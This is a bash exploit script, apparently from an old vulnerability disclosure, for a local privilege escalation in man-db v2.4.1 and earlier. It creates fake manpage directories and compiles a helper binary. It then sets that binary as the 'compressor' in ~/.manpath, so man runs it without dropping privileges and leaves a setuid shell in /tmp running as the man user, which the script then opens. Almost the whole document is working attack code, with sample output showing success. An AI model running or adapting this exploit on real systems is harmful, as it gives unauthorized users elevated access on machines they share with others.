('binary' encoding is not supported, stored as-is) #!/bin/bash # xmandb.sh: shell command file. # # man-db[v2.4.1-]: local uid=man exploit. # by: vade79/v9 v9at_private (fakehalo) # # open_cat_stream() privileged call exploit. # # i've been conversing with the new man-db maintainer, and after the # initial post sent to bugtraq(which i forgot to inform him), i sent him # an email highlighting another vulnerability i forgot to mention in the # original BID(http://www.securityfocus.com/bid/8303). # # once he checked it out, he noticed that the routine never dropped # privileges before/after the potential buffer/elemental overflow occured, # and executed the (user defined) "compressor" binary. making it # pointless to exploit this via the overflow method, and all-purpose to # exploit this via the privileged execve() call method. # # best of luck to the new maintainer(Colin Watson<cjwatsonat_private>), # he noticed it before i did, so he's on the right track. :) # # example: # [v9@localhost v9]$ id # uid=500(v9) gid=500(v9) groups=500(v9) # [v9@localhost v9]$ ./xmandb.sh # [*] making fake manpage directories/files... # [*] making runme, and mansh source files... # [*] compiling runme source... # [*] setting "compressor" to: /tmp/runme... # [*] executing man-db/man... # [*] cleaning up files... # [*] success, entering shell. # -rws--x--- 1 man v9 13963 Jun 13 20:09 /tmp/mansh # sh-2.04$ id # uid=15(man) gid=500(v9) groups=500(v9) # sh-2.04$ # # (tested on redhat7.1, from src, should work out of the box everywhere) MANBIN=/usr/bin/man MANDIR=man_x TMPDIR=/tmp echo "man-db[v2.4.1-]: local uid=man exploit." echo -e "by: vade79/v9 v9at_private (fakehalo)\n" if [ ! "`$MANBIN -V 2>/dev/null`" ] then echo "[!] \"$MANBIN\" does not appear to be man-db, failed." exit fi umask 002 cd $TMPDIR echo "[*] making fake manpage directories/files..." mkdir $MANDIR ${MANDIR}/man1 ${MANDIR}/cat1 touch ${MANDIR}/man1/x.1 echo "[*] making runme, and mansh source files..." cat <<EOF>runme.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> int main(int argc,char **argv){ setreuid(geteuid(),geteuid()); system("cc ${TMPDIR}/mansh.c -o ${TMPDIR}/mansh"); chmod("${TMPDIR}/mansh",S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP); unlink(argv[0]); exit(0); } EOF cat <<EOF>mansh.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> int main(){ setreuid(geteuid(),geteuid()); execl("/bin/sh","sh",0); exit(0); } EOF echo "[*] compiling runme source..." cc runme.c -o runme echo "[*] setting \"compressor\" to: ${TMPDIR}/runme..." echo "DEFINE compressor ${TMPDIR}/runme">~/.manpath echo "[*] executing man-db/man..." $MANBIN -M ${TMPDIR}/$MANDIR -P /bin/true x 1>/dev/null 2>&1 echo "[*] cleaning up files..." rm -rf $MANDIR mansh.c runme.c runme ~/.manpath if test -u "${TMPDIR}/mansh" then echo "[*] success, entering shell." ls -l ${TMPDIR}/mansh ${TMPDIR}/mansh else echo "[!] exploit failed." rm -rf ${TMPDIR}/mansh fi exit
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